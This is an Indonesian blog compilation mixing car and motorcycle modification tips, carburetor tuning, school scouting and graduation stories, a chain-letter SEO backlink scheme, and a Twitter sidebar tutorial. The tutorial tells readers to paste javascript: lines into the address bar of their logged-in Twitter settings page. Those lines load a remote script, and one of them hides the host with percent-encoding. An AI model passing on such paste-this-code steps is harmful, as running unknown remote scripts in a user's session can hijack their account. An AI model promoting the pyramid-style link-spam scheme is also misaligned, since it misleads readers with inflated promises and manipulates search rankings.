Modifikasi Mobil Ala Cewek

Modifikasi Mobil bergaya racing menuntut dua hal. Dari sisi eksterior, tampilan khasnya, warna menyala pada bodi yang dikombinasi sekujurnya penuh stiker. Satunya lagi, tenaganya harus lebih dahsyat dari standarnya.
Namun, seperti apa racing di mata wanita? Susi—panggilan keseharian wanita yang enggan menyebutkan nama lengkapnya—menjawab pada Mazda RX-8 miliknya. Katanya, racing itu identik dengan mobil kencang.
Makanya, wanita kelahiran 1973 ini memodifikasi mobil sedan kupe (dua pintu) asal Jepang itu bernuansa balap. Meski baru setahun kepincut dengan modifikasi mobil, tetapi ia cukup fasih menjelaskan bagian per pada mobilnya yang sudah dipermak.
Katanya, ubahan modifikasi mobil pada bodi sudah menggunakan kit VeilSide. Itu makin cantik lantaran VeilSide D1 GT, yang membungkus sekujur Mazda ini, menjiplak modifikator Jepang sehingga menguatkan visualisasi tunggangan drift. Dan proses pembuatannya, “Enggak lama, kok. Cuma 3-4 bulan,” ungkap Susi.
Menurut sang Lady dari kru Fraton ini, membuat custom VeilSide D1 GT tidak sulit karena pihaknya (Fraton) sudah punya cetakannya. Mengenai bahannya, pihaknya mengandalkan fiberglass, mulai dari bumper depan, hingga belakang. Aura racing semakin kuat melalui desain air dam besar pada apron dipadu dengan fender kembung plus sayap belakang model GT dari GReddy SP2 serta desain knalpotnya berikut diffuser-nya.
Tampilan modifikasi mobil keempat roda semakin menguatkan tampilan bernapaskan balap. Pemakaian velg VeilSide Evolution V palang lima 19 inci diperkekar dengan ubahan sistem penghenti laju. Kaliper dan disc brake depan diganti dengan Brembo 4 pot sehingga mampu meningkatkan deselerasi secara mumpuni.
Untuk memenuhi persyaratan modifikasi mobil ala racing, mesin Rotary 13B-MSP (Multi Side Port) di mobil harus disentuh. Di sini, Susi minta agar tenaga ditingkatkan sampai stage 1 saja dan ubahannya disokong dengan perangkat GReddy, termasuk putaran dapur pacu diperingan dengan pulley GReddy.
“Pernah saya coba, paling kencang 160 km/jam,” ungkap Susi. Harap maklum, yang jajal wanita. Padahal, setelah mesin dioprek, tenaganya meningkat sampai 20 dk.

Faktor Penting Sebelum Modifikasi Mobil

Modifikasi mobil memang hobi yang mahal. Spareparts, aksesori mobil-belum lagi yang original, pemasangan, dan perawatannya membutuhkan biaya tidak sedikit. Nah, supaya tidak kebablasan, berikut ini yang bisa Anda lakukan.
1. Usahakan untuk membeli spare parts atau aksesori asli agar tahan lama.
2. Dalam setiap proses modifikasi, tidak perlu ragu-ragu untuk berkonsultasi denganorang-orang yang berpengalaman dalam bidang modifikasi.
3. Pilihlah bengkel-bengkel kosmetik atau face lift mobil yang terpercaya dengan tenaga-tenaga terampil.
4. Dalam memodifikasi, ada baiknya memperhatikan aspek fungsi, kenyamanan mobil, atau kondisi jalan agar tidak sebatas urusan tampilan semata.
5. Modifikasi mobil sebaiknya disesuaikan dengan fungsi kendaraan, untuk operasional sehari-hari atau untuk acara tertentu saja.
 6. Lakukan Modifikasi mobil secara bertahap untuk bisa menjaga kondisi kendaraan serta melihat efek sampingnya.

cara cepat meningkatkan Page Rank di Google

Baiklah sahabat, kali ini saya mencoba trik yg abru didapatkan, ni emang triknya maen kopas sobat, jadi silahkan langsung dipraktekan yaaa....

jadi saya ngajak sobat buat saling membantu,,caranya mudah copy ke sepuluh link di bawah ini...

1. SEO Tutorial
2.blog dofollow
3. ilmu belajar komputer
4.
5.Berita artis indonesia
6.body health information
7.share free tutorial
8.Blog Dofollow Indonesia
9.Berry Blog
10. akhmad badali blog


Tapi ingat, sebelum anda meletakkan link diatas, kamu harus menghapus peserta nomor 1 dari daftar. Sehingga semua peserta naik 1 level. Yang tadinya nomor 2 jadi nomor 1, nomor 3 jadi 2, dst. Kemudian masukkan link anda sendiri di bagian paling bawah (nomor 10).

Jika tiap peserta mampu mengajak 5 orang saja, maka jumlah backlink yang akan didapat adalah:

Ketika posisi anda 10, jumlah backlink = 1
Posisi 9, jml backlink = 5
Posisi 8, jml backlink = 25
Posisi 7, jml backlink = 125
Posisi 6, jml backlink = 625
Posisi 5, jml backlink = 3,125
Posisi 4, jml backlink = 15,625
Posisi 3, jml backlink = 78,125
Posisi 2, jml backlink = 390,625
Posisi 1, jml backlink = 1,953,125

Dan semuanya menggunakan kata kunci yang anda inginkan. Dari sisi SEO anda sudah mendapatkan 1,953,125 backlink dan efek sampingnya jika pengunjung web para downline anda mengklik link itu, juga membuat ngeblog anda mendapatkan traffik tambahan.

Nah, silahkan copy paste artikel ini, dan hilangkan peserta nomor 1 lalu tambahkan link blog/website anda di posisi 10. Ingat, anda harus mulai dari posisi 10 agar hasilnya maksimal. Karena jika anda tiba2 di posisi 1, maka link anda akan hilang begitu ada yang masuk ke posisi 10.

Saya yakin dalam waktu yang singkat, Pagerank blog anda pasti langsung naik drastis di luar dugaan anda. Selamat mencoba trik rahasia ini!

Bagaimana ? apa sobat semua berkenan? kalau iya copas aja! terus sarankan ke teman yang lain supaya terus menyebar!

Tugasnya gampang koq! copas trik ini lalu sarankan ke teman yang lain begitu pula seterusnya!

Cara membuat sidebar transparan twitter

Sidebar Transparan Twitter [screenshot] :

Hoho, ini cara buat sidebar (bagian sebelah kanan di twitter, biasanya diisi list, following, followers, dll) menjadi transparan. Nah gimana caranya biar sidebar twitter transparan? Simple kok!Pertama: Login ke twitter dan buka menu setting, terus design. Ato bisa juga http://twitter.com/settings/design
Kedua: Copy kode dibawah ini yaa:

javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http%3A%2F%2Fwww.justinparks.com%2Ftwitter%2Ftwitter-sidebar.js';void(0);
Ketiga: Buka http://www.twitter.com/settings/design tadi, terus http://www.twitter.com/settings/designya dihapus dan diganti sama kode diatas tadi.

terus di Enter aja deh.
Keempat: Liat apa ada message kaya ini ato enggak, untuk ngebuktiin berhasil apa kaga:



SELESAI! Lo bisa liat perubahannya di halaman Profile. Jangan lupa klik 'Save Changes'! Kalo ga di klik ga bakal jadi jadi ini sidebar transparan :P

Nah, kalo nanti lo pengen sidebar lo normal lagi, login ke halaman design lagi terus pilih "Change Background Style" ke background lama lo ato yang baru terserah. Udah itu lo save deh.

NEW Ada alternatif baru. Semoga bisa ya :)

javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://%77%65%62%64%69%63%61%73%2E%6F%72%67/scripts/%74%77%69%74%74%65%72%2E%74%72%61%6E%73%70%61%72%65%6E%74%65%32%32%32%2E%6A%73';void(0);

Acara Perpisahan dan Pengukuhan Kelas XII

            Setelah pengumuman kelulusan anak kelas XII di SMA PGRI 1 Banjarbaru, maka diadakan acara perpisahan dan pengukuhan untuk semua anak kelas XII. Sebelum acara dimulai maka semua anggota OSIS termasuk saya, bekerja sama untuk menyiapkan persiapan yang harus disiapkan untuk acara perpisahan dan pengukuhan tersebut.

Pada acara perpisahan dan pengukuhan ada banyak hiburan yang akan ditampilkan seperti : band, tari-tarian, musik panting, vocal, dan yang lainnya. Acara perpisahan dilaksanakan pada hari... dan dihadiri oleh semua siswa dari kelas X sampai XII dan juga dihadiri oleh orang tua murid dari kelas XII.

            Acara yang pertama yaitu acara pembukaan dan dilanjutkan dengan acara yang kedua yaitu acara sambutan-sambutan dari kepala SMA PGRI 1 Banjarbaru. Setelah acara sambutan selesai dilanjutkan dengan acara pengukuhan.

            Pada acara pengukuhan ini diiringi dengan nyanyian lagu-lagu wajib yang dinyanyikan oleh anak-anak pilihan dari anak kelas X dan XI. Diacara ini semua undangan yang hadir dan juga murid-murid kelas X dan XI disuruh berdiri.

            Anak kelas XII yang melaksanakan pengukuhan berbaris dan berjalan menuju mimbar yang telah disediakan untuk Bapak Kepala SMA PGRI 1. Siswa tadi berjalan menuju kesitu dan dikalungi piagam secara satu persatu oleh  Bapak Kepala SMA PGRI 1 Banjarbaru atau Bapak H. Saladeri S.H.

            Setelah acara pengukuhan selesai maka acara dilanjutkan dengan hiburan-hiburan. Hiburan pertama yang ditampilkan adalah musik panting, musik panting ini membawakan tiga buah lagu banjar. Hiburan yang kedua yaitu tari baksa kembang .

            Lalu hiburan yang ketiga atau hiburan yang paling ditunggu-tunggu yaitu tari kuda gepang dan Hanoman. Pada saat penari kuda gepang sudah selesai maka Hanoman pun masuk. Pada saat Hanoman masuk dan melakukan apa yang harus ia lakukan ada sebagian penonton yang takut dan ada juga penonton yang tehibur dengan hiburan ini.

            Hiburan yang terakhir yaitu band, pada acara ini masing-masing kelas termasuk kelas XII menampilkan bandnya masing-masing dengan berbagai macam lagu yang dibawakan.

           

Pada acara semua hiburan ini tentu saja Bapak Kepala SMA PGRI 1 Banjarbaru sangat bangga karena dapt melihat anak-anak muridnya dapat menampilkan kesenian-kesenian daerah banjar yang kemungkinan sudah mulai terhapus dari masyarakat akibat zaman modern sekarang.

Acara yang terkahir yaitu acara penutupan dengan pembacaan doa, setelah pembacaan doa selesai maka acara sudah selesai dilaksanakan. Semua undangan dan semua siswa kecuali anggota osis sudah boleh pulang. Anggota osis tidak boleh pulang karena mereka harus bekerja sama lagi untuk merubuhkan panggung dan membersihkan semua bahan-bahan.   

THE END

           

KEGIATAN PERSAMI DI SMA PGRI 1 BANJARBARU part 2

 Pada kegiatan ini semua peserta Pramuka sangat antusias sekali. Bahkan saya sendiri saya sangat semangat. Semua peserta sebelum memulai wide game diberi pupur dingin yang sudah dicampur dengan bahan yang lainnya oleh kaka ambalannya dimuka masing-masing tiap peserta PERSAMI. Ada beberapa pos yang harus didatangi oleh tiap sangga dan tentu saja tidak mudah untuk melewatinya, semua peserta PERSAMI harus menuruti apa kata kaka ambalannya yang menunggu tiap pos untuk dapat melewati pos tersebut. Dipos pertama kami semua disuruh untuk jalan jongkok dari tempat kami ke posnya. 

Dan di pos kedua kami disuruh untuk melakukan gerakan dasar PBB dan dipos kedua ini semua peserta PERSAMI diberi lipstik dibibir dan pipinya masing-masing. Saya dan teman-teman yang lainnya tentu sangat merasa malu. Jadi pada saat dijalan sedikit demi sedikit lipstik itu saya hilangkan. Di pos ketiga kami disuruh untuk memecahkan atau menjawab sandi-sandi yang telah ditulis oleh kaka ambalannya. 

Pada saat dijalan kami ketemu pos bayangan, dipos ini kami diberi minum tetapi hanya seteguk saja. Selanjutnya dipos keempat semua anggota dari sangganya masing-masing disuruh untuk kayang untuk melewati batas yang disuruh kaka ambalannya. Pada saat dijalan kami sangat cape, dan mumpung tidak ada yang mengawasi maka kami menyemptkan diri untuk beli minum diwarung. 

Setelah lama berjalan kami sampai dipos kelima, dipos ini kami disuruh tiarap diatas lumpur dan melewati rintangan-rintangan yang sebelumnya telah disediakan oleh kaka ambalannya. Dipos keenam lagi-lagi kami disurh jalan jongkok oleh kaka ambalannya. Dipos ketujuh kami disuruh turun kesungai untuk membersihkan diri dan disungai itu kami disuruh nyelam melewati rintangan yang telah disediakan kaka ambalannya. Dipos kedelepan kami disuruh menghapal dasa dharma dan setelah menghapal dasa dharma selesai kami diberi minum, tetapi lagi-lagi cuman seteguk saja.

Dipos terakhir yaitu pos kesembilan kami disurh membuat tandu, tetapi membuatnya dilakukan disungai. Sangga Pattimura atau sangga saya tidak dapat menyelesaikan pembuatan tandu dengan tepat waktu, dikarnakan talinya kusut. Jadi dipos ini kami gagal, karena kami gagal maka kami disuruh push up diatas air. Setelah semua pos selesai dilewati kami semua kembali kesekolah.

Tentu saja pada kegiatan ini semua peserta mendapatkan pengalaman tersendiri termasuk saya juga sebagai penulis, saya banyak sekali mendapatkan hal-hal yang baru dan pengalaman yang baru ketika mengikuti kegiatan PERSAMI di SMA PGRI 1 Banjarbaru.

Semua sangga/peserta melewati rute jalan yang sangat panjang, yang tentunya banyak memakan tenaga. Bahkan ada peserta yang mengalami cedera ditengah jalan dan terpaksa diantar pulang oleh kaka ambalannya kembali ke SMA PGRI 1 banjarbaru. Kegiatan wide game berakhir kira-kira pada jam 2an.

Setelah kegiatan wide game selesai semua peserta di beri waktu untuk ISHOMA. Setelah waktu ISHOMA habis semua sangga disuruh untuk beres-beres dan merobohkan tenda sekaligus membersihkan sisa-sisa yang ada dilapangan SMA PGRI 1 Banjarbaru. Setelah semua kegiatan selesai dilaksanakan, maka diadakanlah upacara penutupan yang diikuti oleh semua peserta PERSAMI maka dengan diadakan  upacara ini maka kegiatan PERSAMI resmi berakhir.

Dan setelah beberapa hari setelah PERSAMI, maka semua peserta diberikan piagam. THE END

KEGIATAN PERSAMI DI SMA PGRI 1 BANJARBARU part 1

           Kegiatan PERSAMI ( Perkemahan Sabtu Minggu ) dilaksanakan di lapangan SMA PGRI 1 Banjarbaru. Kegiatan pertama yang dilaksanakan adalah pembuatan tenda oleh semua peserta PERSAMI. Waktu yang diberikan untuk membuat tenda kira-kira 30 menit. Saya pada saat PERSAMI masuk di sangga Pattimura bersama teman yang lainnya yaiut : dany hidayat, hernes, husaini, masrianto, zaini, dian, jovi, yanu, dan anton . Kami semua bekerja sama dalam membangun tenda. Pada saat itu terpal dari kelompok kami sobek, terpaksa kami harus menambalnya dulu. Setelah semua kelompok termasuk sangga kami selesai membuat tenda maka kegiatan dilanjutkan dengan Upacara Pembukaan untuk meresmikan dilaksanakannya kegiatan PERSAMI ini, dan yang meresmikannya adalah Kepala SMA PGRI 1 Banjarbaru. Setelah upacara selesai maka peserta PERSAMI diperbolehkan untuk ISHOMA ( Istirahat Sholat Makan ). Pada kegiatan ISHOMA ini kami sangga Pattimura memasak makanan.

 Pada kegiatan ini semua peserta diberikan kesempatan untuk beristirahat, sholat, dan memasak untuk makan mereka. Semua peserta PERSAMI yang beragama Islam pada sore hari sebelum sholat sudah disuruh bersiap-siap untuk melaksanakan sholat maghrib secara berjamaah. Setelah selesai sholat maghrib kami semua kembali ketenda masing-masing untuk makan malam. Pada malam hari setelah selesai sholat maghrib  maka diadakan lomba cerdas cermat. Dari sangga Pattimura yang mewakili untuk ikut lomba cerdas cermat yaitu : saya, dani, dian, dan jovi. Lomba cerdas cermat ini harus diikuti oleh semua kelompok. Pada perlombaan cerdas cermat ini kami kalah dan kami sangat kecewa. Pemenang lomba cerdas cermat adalah sangga Jenderal Sudirman. Sangga mereka berhasil menjawab banyak pertanyaan. 

Setelah Lomba cerdas cermat selesai dilaksanakan dilanjutkan dengan pembacaan dasa dharma. Setelah pembacaan dasa dharma selesai maka dilanjutkan lagi dengan kegiatan upacara pembukaan api unggun yang diikuti oleh semua kelompok. Pada pelaksanaan api unggun ini diadakan juga kegiatan pentas seni yang harus diikuti oleh tiap kelompok/sangga. Pada acara pentas seni ini tiap sangga  bebas menampilkan kreatifitasnya  baik berupa drama ataupun bermain musik. Tetapi ada beberapa sangga yang tidak sempat menampilkan karya seninya, termasuk sangga kami sangga Pattimura. Setelah kegiatan api unggun dan pentas seni selesai dilaksanakan semua sangga disuruh untuk tidur ditendanya masing-masing.

Tepat jam 12 malam satu persatu dari tiap sangga disuruh bangun dan melaksanakan kegiatan jurit malam. Sangga yang paling pertama yaitu sangga Soekarno dan yang paling terakhir adalah sangga Pattimura. Pada saat dibangunkan saya sangat kaget sekali dan abut mencari pakaian Pramuka saya.Semua sangga diberikan peta dan harus mengikuti peta itu untuk sampai ke tempat tujuan. Pada saat kami melaksanakan jurit malam kami kehujanan dan terpaksa berteduh didepan rumah orang. Setelah hujan sudah reda kami semua melanjutkan perjalanan. Setelah semua sangga sudah sampai ketempat tujuan atau kembali pulang, maka semua sangga disuruh untuk tidur kembali, tetapi tidak ditendanya lagi karena kebetulan pada malam itu terjadi hujan yang lebat. Sehingga tiap sangga tidak bisa tidur ditendanya masing-masing. Untuk sangga putri mereka semua disuruh tidur dimusholla SMA PGRI 1 Banjarbaru, dan untuk sangga putra mereka semua disuruh tidur dikelas X.1. Pada saat di kelas X.1 saya tidak bisa tidur bersama dengan yanuar, indra, dan fajar kami memakan bersama-sama dengan bergiliran. hhe ^_^  Jadi pada malam itu kami tidak ada tidur, kalau ada juga paling 15 menit atau lebih.

Setelah saya tertidur baru sebentar tepat jam 4 pagi kami semua dibangunkan untuk melaksanakan kegiatan renungan suci yang diadakan diaula sekolah. Jujur pada saat itu saya masih sangat ngantuk. Sehingga ketika diaula saya tidak terlalu konsen mendengarkan renungan suci tersebut.  Pada kegiatan renungan suci ini ada banyak siswa yang menangis karena mereka sadar akan perbuatan yang tidak baik yang pernah mereka lakukan. Setelah kegiatan renungan suci selesai semua peserta disuruh untuk ISOHMA. Pada kegiatan ini saya menyempatkan diri untuk cuci muka dan sikat gigi, tetapi ada sebagian peserta yang tidur kembali, ada yang menggunakannya untuk mandi, memasak, dan sholat. Setelah tiba waktu Sholat shubuh saya dan sebagian peserta melaksanakan sholat shubuh secara berjamaah dengan di imami oleh guru di SMA PGRI 1.

Setelah selesai sholat kami semua kembali kekelas X.1 dan tepat jam 6 pagi semua peserta PERSAMI disuruh berkumpul dilapangan untuk melaksanakan senam pagi. Pada saat senam pagi ini ada sebagian peserta yang benar-benar senam dan juga ada sebagian yang tidak. Setelah senam pagi semua kelompok diberikan waktu untuk istirahat dan makan-makan. Kami sangga Pattimura dengan bersama Tepat jam 8 pagi semua sangga disuruh berkumpul untuk melaksanakan kegiatan wide game. Baca kelanjutan KEGIATAN PERSAMI DI SMA PGRI 1 BANJARBARU part 2

Modifikasi motor untuk pemula

Banyak di antara kita yang suka modifikasi motor (modif), namun banyak pula yang tidak. Rata-rata yang mengaku suka malah menjadikan hobi. Bahkan banyak pula yang akhirnya jadi maniak modif. Sebaliknya, yang tidak senang modif menganggap modif berbahaya dan menimbulkan biaya lebih (boros).

Nyatanya, hampir-hampir semua motor sudah mengalami modifikasi sedikit atau banyak. Mungkin orang tidak menyadari telah melakukan modif karena tampilan motor masih standar. Padahal sejumlah item telah mengalami perubahan. Ganti busi yang lebih kuat, ganti stang yang lebih nyaman, ganti model lampu yang lebih cakep dan terang adalah modif sederhana.

Karena itu, yang penting dari modifikasi adalah tujuan dan fungsinya. Tujuan modifikasi yang baik adalah meningkatkan kinerja dan tampilan motor sehingga lebih aman, nyaman, cepat, dan gaya.

Lebih aman karena modifikasi yang baik akan menggunakan alat yang biasanya after market atau limbah copotan motor import yang kualitasnya lebih baik. Lebih cepat karena dengan modifikasi, baik kapasitas mesin bisa dimaksimalkan, atau kemampuan pengendalian (handling) lebih dioptimalkan. Nah, terutama ini: lebih gaya. Dengan modif, tampilan standar ga lagi culun. Perpaduan berbagai asesori maupun piranti body, ajrutan, cat, dsb, bisa membuat motor benar-benar menarik: lebih macho atau manis, tergantung selera.

Tentu saja modif butuh biaya. Tapi seperti slogan lama “there is something money can’t buy”. Kepuasan adalah segalanya….

So, kata kuncinya adalah modif ringan, sedang, berat, dan ekstrem. Tinggal pilih sesuai selera dan kantong.

Problem karbu? silahkan baca

 Tugas utama karburator adalah mencampur Bahan Bakar (BB) + Udara (O2). Kira-kira dengan perbandingan range nya BB : O2 adl 1 : 13-15. Pokoknya gmn caranya biar mesin dapet suplai campuran segitu.
Kenapa pake range, padahal teori di buku2 pembakaran ideal itu 1:14?
Jwbannya adl Karena kondisi mesin & linkungan mempengaruhi settingan campuran BB:O2.
Misal:
1. Kompresi makin tinggi BERARTI mesin makin panas BERARTI butuh suplai BB lebih banyak biar mesin gak jebol.
2. Humidity (kelembaban) lingkungan makin tinggi BERARTI campuran BB terkontaminasi air, BERARTI campuran makin miskin, BERARTI bensin hrs lebih banyak.
3. Suhu lingkungan rendah BERARTI suhu kerja mesin turun BERARTI bensin harus dikurangi agar suhu kerja mesin jadi ideal.
4. Knalpot bobokan (Free flow) BERARTI rpm makin tinggi BERARTI suhu mesin meningkat BERARTI butuh BB makin tinggi.
5. & Masih banyak lagi parameter yg harus diperhatiin termasuk desain lubang masuk pada blok yg b’pengaruh dg settingan spuyer sebagai penyalur BB.
Itu teori dasarnya.
Setting Karbu:
    Karbu pny 2 spuyer :
1. Satu buah main jet (tuk NSR std ukurannya 130) yg berperan meyalurkan BB saat bukaan gas sekitar setengah putaran keatas
2. Satu buah pilot jet (NSR std ukurannya 45) yg berperan menyalurkan BB dari putaran gas 0 derajat sampe penuh, cm efek dari pilot jet ini bisa dikatakan tidak terlalu signifikan pada bukaan gas penuh N rpm mesin yg sudah tinggi.
Hal lain yg berpengaruh dengan setingan termasuk :
1. Ukuran Venturi karbu
2. Jarum skep
3. Stelan angin
4. Power jet.
Venturi karbu makin besar maka makin banyak udara yg lewat shg butuh spuyer lebih besar baik pilot atau main jetnya spy campuran bisa pas.
Trus kapan kita membesarkan ato mengecilkan spuyer2 tadi?
Sebelumnya hrs tahu dulu gejala2 mesin saat kekurangan BB dan kebanyakan BB:
1. “Ngempos” adalah gejala mesin spt kehilangan tenaga yg disebabkan kekurangan BB
2. “Mberebet” adl gejala mesin yg sebenernya dirasa padat cm tenaga seperti tertahan dan kadang dibarengi dengan suara benturan logam kalo settingannya terlalu basah.
Berarti kl NGEMPOS mesin butuh BB, kl BREBET mesin kebanyakan BB.
Kasus-Kasus
Nah berikut kasus2 yg sering terjadi krn masalah pilot jet :
1. Motor kl pagi susah hidup krn begitu gas dibuka ngempos terus mati ya berarti naekin pilot jet.
2. Motor dah jalan tapi sering tiba2 kehilangan tenaga saat putaran gas N putaran rendah berarti naekin pilot jet
3. Motor sering over heat saat jalan pelan berarti minta naek pilot jet
4. Motor brebet di putaran bawah tapi enak di put atas berarti pilot jet kebesaran.
5. Motor gak pake di cuk kl pagi N bisa langsung start
(ini jg gak normal) berarti pilot hrs turun.
Kesimpulannya, kl ada gejala ngempos,suhu tinggi diputaran yg relatif rendah maka minta naek pilot jet, N kl ada gejala brebet di put rendah jg maka pilot hrs turun.
Trus tuk kasus2 mainjet:
1. Mtr dibawa kebut2an sampe putaran atas trus begitu finish jalan pelan2 jadi ngempos dibarengi asep ngebul BERARTI suhu saat putaran tinggi meningkat drastis BERARTI main jet minta naik
2. Nafas motor di putaran atas terlalu panjang berarti mainjet minta naik.
3. Mtr ngelitik padahal yg lain normal BERARTI suhu mesin SANGAT TINGGI saat putaran atas BERARTI main jet minta naik.
4. Motor Brebet di put atas saja berarti main jet minta turun
5. dll
Kesimpulannya, jika mtr Brebet di put atas berarti main jet hrs turun, jika mtr suhunya tinggi di putaran atas berarti main jet minta naik.
Note:
1. Setiap ada perubahan ukuran spuyer wajib setting angin
2. Jangan berpatokan pada indikator suhu di dashboard tuk panduan setting krn pasti gak sesuai, ini butuh joki yg feelingnya dah kuat.
3. Adakalanya detonasi tdk bisa diobati dengan naekin spuyer jika detonasinya sudah parah. Ini berarti ada ketidaknormalan pada komponen mesin lainnya.

5 Tips modifikasi motor

Anda memodifikasi motor namun bingung mulai dari mana atau khawatir biayanya membengkak karena dikelabui oknum bengkel? Tak perlu putus asa.

"Oleh karena itu ada lima hal yang harus diperhatikan sebelum dan saat proses modifikasi,
Bila kelimanya tetap dipegang teguh, maka proses dan hasil modifikasi bakal sesuai dengan keinginan. Bahkan, ongkosnya pun tidak bakal membengkak dan membuat pemilik motor tekor.

Lantas apa saja kelimanya? Berikut penjelasannya :
1.      Tetapkan konsep dan aliran modifikasi
Sebelum Anda membawa motor ke modifikator, tetapkan dulu konsep dan aliran  modifikasi yang Anda inginkan. Ada beberapa konsep, aliran atau genre, serta gaya modifikasi.

Biasanya para modifikator menawarkan konsep harian atau non harian, klasik atau futuristik. Masing-masing konsep dan aliran itu ada lagi sub-sub konsep dan aliran sesuai dengan jenis motor.

"Misalnya, motornya adalah motor sport bergaya street fighter ingin dimodifikasi dengan konsep harian dengan aliran futuristik,".

Setelah menetapkan pilihan konsep dan aliran, maka buatlah gambar atau sketsa seperti apa tampilan yang Anda inginkan. Gambar itu untuk memberi gambaran kepada modifikator saat Anda menjelaskan tampilan motor yang Anda inginkan, sekaligus untuk tawar menawar biaya.

2.      Tetapkan anggaran
Setelah menemukan konsep dan aliran serta membuat sketsa, langkah selanjutnya adalah mencari informasi tentang komponen atau suku cadang yang akan digunakan. Ada beberapa jenis komponen yang bisa dipilih.

Jenis itu adalah, limbah atau komponen bekas dari pabrik atau sisa ekspor dari distributor tertentu. Kemudian komponen after market atau produksi perusahaan pembuat komponen yang tidak terkait dengan pabrikan sepeda motor. Jenis lainnya adalah komponen custom atau buatan dari modifikator yang dibuat berdasar keinginan atau kesesuaian gaya desain modifikasi.

Bila telah mengetahui daftar harga dari semua komponen yang dibutuhkan, langkah selanjutnya adalah menetapkan anggaran. Setelah itu, Anda bisa membawa motor ke modifikator dengan mengajukan konsep berikut anggarannya.

"Biasanya ada tawar menawar. Nah, di situlah perlunya konsep dan membuat anggaran berdasar komponen yang digunakan,"

Bila ada kenaikan 5-10 persen dari anggaran yang Anda tetapkan, hal itu masih wajar. Pasalnya, modifikator juga memperhitungkan ongkos transport saat berbelanja bahan.

3.      Luangkan waktu untuk memeriksa proses modifikasi
Langkah ini untuk memastikan bahwa kesesuaian antara pengerjaan dengan konsep awalnya. Selain itu untuk memastikan bahwa ubahan yang dilakukan tidak mengubah fungsi bagian tersebut.

Satu hal hal yang wajib Anda ingat, modifikasi yang baik adalah yang konsisten antara konsep dengan pengerjaannya. "Dengan mengecek langsung, Anda juga bisa memastikan bahwa komponen atau bahan yang digunakan berkualitas,"
Hal terakhir itu penting, karena menyangkut keselamatan dan kenyamanan di saat motor Anda kendarai.

4.      Mintalah garansi
Modifikasi berarti sebuah perubahan dan kita mempercayakan prosesnya kepada modifikator. Sejauh mana efeknya, dan seperti apa kualitasnya  kita tidak bisa memastikannya selain memegang janji yang diberikan oleh modifikator.

Oleh karena itu, sangat disarankan untuk meminta garansi hingga tenggang waktu tertentu. Biasanya, bengkel modifikasi yang berkualitas baik akan memberikan garansi kepada konsumen.

5.      Melaporkan perubahan ciri ke pihak berwajib
Bila Ada perubahan ciri khas dari motor yang berubah, misalnya cat, segera melapor ke pihak berwajib. Hal itu untuk menghindarkan Anda dari kecurigaan petugas kala ada razia.

Bila antara surat kendaraan dengan kondisi nyata kendaraan itu berbeda maka aparat akan menahan motor Anda. Sehingga Anda akan rugi sendiri.

Modifikasi

Modifikasi adalah perubahan sebagaian dari konstruksi komponen motor dengan tujuan meningkatkan kemampuannya. Diantaranya yang sering di modifikasi adalah:
1. Piston
Bertujuan untuk mengurangi berat piston sehingga tenaga motor meningkat karena tenaga yang hilang untuk melawan berat piston. Untuk mengurangi berat piston dilakukan dengan memotong bagian bawah piston, besarnya bagian yang dipotong tersebut sudah tertentu dan tiap sepeda motor tidak sama. Jika pemotongan berlebihan mengakibatkan keseimbangan piston terganggu sehingga menimbulkan getaran dan kerusakan berikutnya. Pemotongan harus dilakukan berhati-hati dan hasilnya halus, jika hasil potongan kasar bisa menggores didinding silinder dan mengakibatkan kebocoran kompresi.
2. Kepala Silinder
Kompresi ruang bakar sangat menentukan tenaga yang dihasilkan. Semakin tinggi kompresi ruang bakar semakin besar tenaga yang dihasilkan. Sebaliknya semakin rendah tenaga ruang bakar maka semakin kecil tenaga yang dihasilkan. Untuk mempertinggi kompresi ruang bakar dapat dilakukan dengan mengurangi volume ruang bakar. Pada sepeda motor umumnya hal ini dilakukan dengan mengerinda kepala silinder sehingga volume ruang bakar berkurang dan kompresinya menjadi lebih tinggi. Pemotongan kepala silinder harus dilakukan secara hati-hati, sebab jika pemotongan terlalu banyak dapat menyebabkan piston akan bertumbukan dengan katup pada saat langkah buang, khususnya pada sepeda motor 4 tak. Pemotongan kepala silinder yang terlalu banyak mengakibatkan tekanan kompresi menjadi sangat tinggi yang justru akan menimbulkan gangguan-gangguan lain dan kerusakan lebih lanjut.
3. Lubang Pembilasan (Lubang Pemasukan)
Jumlah gas baru campuran bensin dan udara yang dimasukkan ke ruang bakar sangat menentukan tenaga motor yang dihasilkan. Semakin banyak gas yang dimasukkan berarti kepadatan gas semakin tinggi sehingga tekanan kompresi naik dan pembakaran lebih baik. Untuk mencapai hal itu lubang pembilasan (pemasukan0 diperluas agar jumlah gas baru yang masuk lebih banyak. Perluasan lubang bilas tersebut harus tetap pada batas-batas tertentu dan disertai pula dengan modifikasi dibagian lain. Jika hal itu tidak dilakukan maka motor bukan tambah tenaganya tetapi justru menjadi rusak.
4. Sistem Kelistrikan
Tenaga listrik pada motor kebanyakan 6 volt, tegangan tersebut dapat diubah menjadi 12 volt dengan mengubah sistem kelistrikannya. Dengan tegangan 12 volt lampu-lampu menjadi lebih terang dan klakson menjadi lebih keras serta bunga api busi menjadi lebih besar. Dengan perubahan tegangan tersebut maka semua peralatan kelistrikan seperti lampu, koil, baterai, dan klakson harus diganti dengan yang 12 volt. Diameter kumparan kawat magnet juga harus diganti dengan diameter yang lebih besar. Untuk melilitkan kumparan serahkan saja kebengkel khusus jika terasa sulit karena pekerjaan ini butuh keahlian.
5. Rocker Arm
Rocker arm atau lengan penumbuk katup juga berfungsi untuk meneruskan gerakan dari batang penekan (push rod) atau dari poros pam sehingga katup bisa membuka dan menutup. Rocker arm yang baik adalah yang ringan tapi kuat. Untuk mengurangi bobot rocker arm biasanya dipotong bagian atasnya, keuntungannya bobot rocker arm berkurang sehingga berkurang tenaga untuk melawan bobot rocker arm semakin kecil. Pemotongan harus dilakukan dengan hati-hati dan tidak boleh berlebihan karena akan berpengaruh terhadap kekuatan rocker arm. Jika pemotongan rocker arm berlebihan akan mengakibatkan rocker arm menjadi mudah patah.
6. Poros Kam
Untuk memperpanjang langkah katup atau menambah lama pembukaan katup, diameter poros dari poros kam dapat diperkecil sehingga tinggi puncak kam bertambah. Keuntungannya karena pembukaan katup tambah lama gas baru yang masuk semakin banyak. Akibatnya tenaga motor meningkat. Panjang langkah katup dapat ditambah dengan cara menyetel celah katup sesempit mungkin, tetapi cara ini berakibat bocornya tekanan kompresi motor.
7. Roda Gigi
